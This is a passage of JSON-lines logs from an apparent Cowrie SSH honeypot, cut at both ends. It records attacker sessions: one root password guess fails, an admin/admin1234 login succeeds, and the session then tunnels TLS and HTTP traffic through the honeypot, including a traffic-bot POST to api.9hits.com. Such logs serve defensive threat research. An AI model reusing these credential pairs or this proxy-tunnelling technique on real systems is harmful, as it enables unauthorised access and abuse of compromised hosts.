no-cache\\r\\n\\r\\n_=RzIzPkRCckIjaklyJDBTVQ%3D%3DERM2HygfaWovkteECKcswbZDZbPH48rg43Wn%2B7kT1ouUlnTB%2Fu0ztTJV7Ic0d8Dj%2FwOUZVn2lY%2B4lL3Qq2iBoxG2IsZg0W5Ltp%2Fy%2BmD7TbqNN5mu8qftgDo%2BklW5vZY9uXMYBoN%2B%2F%2BADA%2B8zTSZjVSVo4%2BGEQ8vbVopGnWUZxvebvpR%2FsmfSZQTzily3SQjUhHIM8hriYo%2BR9GmM6QpCuMxdQUeGqva0jtnbGCKlHU54%2F1NW2Q7x6XOM75Z%2BC9G50JnW%2FykIEHOTRptul535dzPdnVId0SIzKYYVS%2F9DnEjIx7K547DbrbO6sazzeE7QhujN5HwBmOB%2BGXBkD4v%2BY1a11wgFJL2pdg6XCn30PrhJD8sgjR3LO2quRnEwecuww6aj%2B2%2F72awpRHi5Lj2QHSxUYIHyW4hB7Q5HRERDxpWcO5VkPFIZKkaarTjgj9Mj%2FJvMYBTLZP%2BWiVg5QkqQz7JQQn6MOQT5hg72jis5e6DlvgGp1HrCZ7tJR7HToS%2F7rlYr%2BTYheCwbQvf%2FNeuv2ASdKRtdH%2FUViJp8tV%2FgAxDc%2FE4NZO3%2FLy92QVlsWSLf%2ByrVEHzX3Nc16Xia793VBH88dbKrP4b45quKrshBA5%2BQ5HR5VORL6XsEYJUpvoC%2FLarW8H%2FWJFsXBlPxGUuhf%2FI3%2BjVT1moHwvejigeFiFv88hAzBCtTR239gsZYtw%2BPQScSjEnTZLPiyxUSzOtGq5edguFdJJusY%2FlDKxK2YgHUmu8iAQEwkhtTcA1pmCVX4iA0Ek4%2FTu2vsHxfXVk4IT0Ck2ke4Oh61LqTvimks4pvU9QjsnjHEB5vYI%2FKf6vrAvoWTZZaebCjzGCDb0CV7U3bEvCmEEdRNa84n99HPnArnp389Leq7eeOjHFaK9krViWY4bMi5Ni8bHthbQftRCxjvrx6fU9uDRByKCTSl5a11k%2BUugV6Hi0FCkQ4CkUCsduCVZ4nySGGnPbf0NG%2F4lB%2FKktMVZTj6VLlObeD5keAPRTaDbempMATWEZbVwBO3IuMAXe%2BOZq7vDqwrUzWLNn56gN4T%2FMtyZT8ZF4VDb1BhMKUPM3rX0r0sNPG3NmK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.546566Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.592711Z","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.660918Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9\\x93MK/\\xfa\\x0748\\xb1Y\\xa6\\xf4vRL\\xed\\xd3\\xb3\\x0eCV\\x89\\\\\\xda\\xb9\\xc8\\xcb\\xe4\\xf8\\x83\\x11 \\x08\\xc1b\\xbdd\\xf6-\\xb0:s\\xc6|\\xa6\\xc8b\\x1c\\xeeO+Y^(1{\\xc1\\xe5gC\\xf1]?R\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd1u\\xee\\xe6\\x96MS\\xb9\\xd0\\x8c\\xd6\\x06M\\x15\\xbbB2E\\xef9\\xaad\\x12\\xc96t\\x8e?\\xd0T\\x8a>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9\\x93MK/\\xfa\\x0748\\xb1Y\\xa6\\xf4vRL\\xed\\xd3\\xb3\\x0eCV\\x89\\\\\\xda\\xb9\\xc8\\xcb\\xe4\\xf8\\x83\\x11 \\x08\\xc1b\\xbdd\\xf6-\\xb0:s\\xc6|\\xa6\\xc8b\\x1c\\xeeO+Y^(1{\\xc1\\xe5gC\\xf1]?R\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd1u\\xee\\xe6\\x96MS\\xb9\\xd0\\x8c\\xd6\\x06M\\x15\\xbbB2E\\xef9\\xaad\\x12\\xc96t\\x8e?\\xd0T\\x8a>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.664988Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.726083Z","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.784579Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xe6\\x86\\x01\\x98\\xd3]\\xb2\\xcb\\x8b\\xe4\\xfe\\x1f\\xf4\\x01%\\xf3\\xfd\\x10\\xfaJ\\x19?\\xfeb\\x908\\x1d\\x125\\xde, 7\\xa5#\\xa0\\xbd3\\xd0\\xa3k\\xfc\\xe3\\xfba,\\xc3b\\xb85~\\x0b\\xb56\\x1fGt<K\\x86\\xcb\\xb48\\x02\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x17Ir\\xfd~ \\xb2\\xd7\\x15\\xb2n\\xa9\\x0c\\xbe\\xd1\\x11\\xecd\\\\\\x871\\xb5C\\xcd\\xa3\\xb5\\xe1\\xc9\\x13\\xa8RZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xe6\\x86\\x01\\x98\\xd3]\\xb2\\xcb\\x8b\\xe4\\xfe\\x1f\\xf4\\x01%\\xf3\\xfd\\x10\\xfaJ\\x19?\\xfeb\\x908\\x1d\\x125\\xde, 7\\xa5#\\xa0\\xbd3\\xd0\\xa3k\\xfc\\xe3\\xfba,\\xc3b\\xb85~\\x0b\\xb56\\x1fGt<K\\x86\\xcb\\xb48\\x02\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x17Ir\\xfd~ \\xb2\\xd7\\x15\\xb2n\\xa9\\x0c\\xbe\\xd1\\x11\\xecd\\\\\\x871\\xb5C\\xcd\\xa3\\xb5\\xe1\\xc9\\x13\\xa8RZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.787878Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":58734,"dst_ip":"159.203.135.109","dst_port":22,"session":"3139b6bf6ad3","protocol":"ssh","message":"New connection: 101.79.165.43:58734 (159.203.135.109:22) [session: 3139b6bf6ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:34.080266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:34.088892Z","src_ip":"101.79.165.43","session":"3139b6bf6ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:34.303004Z","src_ip":"101.79.165.43","session":"3139b6bf6ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcASD123","message":"login attempt [root/zxcASD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:35.169286Z","src_ip":"101.79.165.43","session":"3139b6bf6ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:35.386856Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:36.389697Z","src_ip":"101.79.165.43","session":"3139b6bf6ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":60155,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d110f1f293","protocol":"ssh","message":"New connection: 123.27.168.40:60155 (10.17.0.5:22) [session: d0d110f1f293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:42.950464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:42.954618Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:43.269440Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:44.484123Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:44.838020Z","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:45.044799Z","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:45.325959Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.198 Mobile/19A348 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: 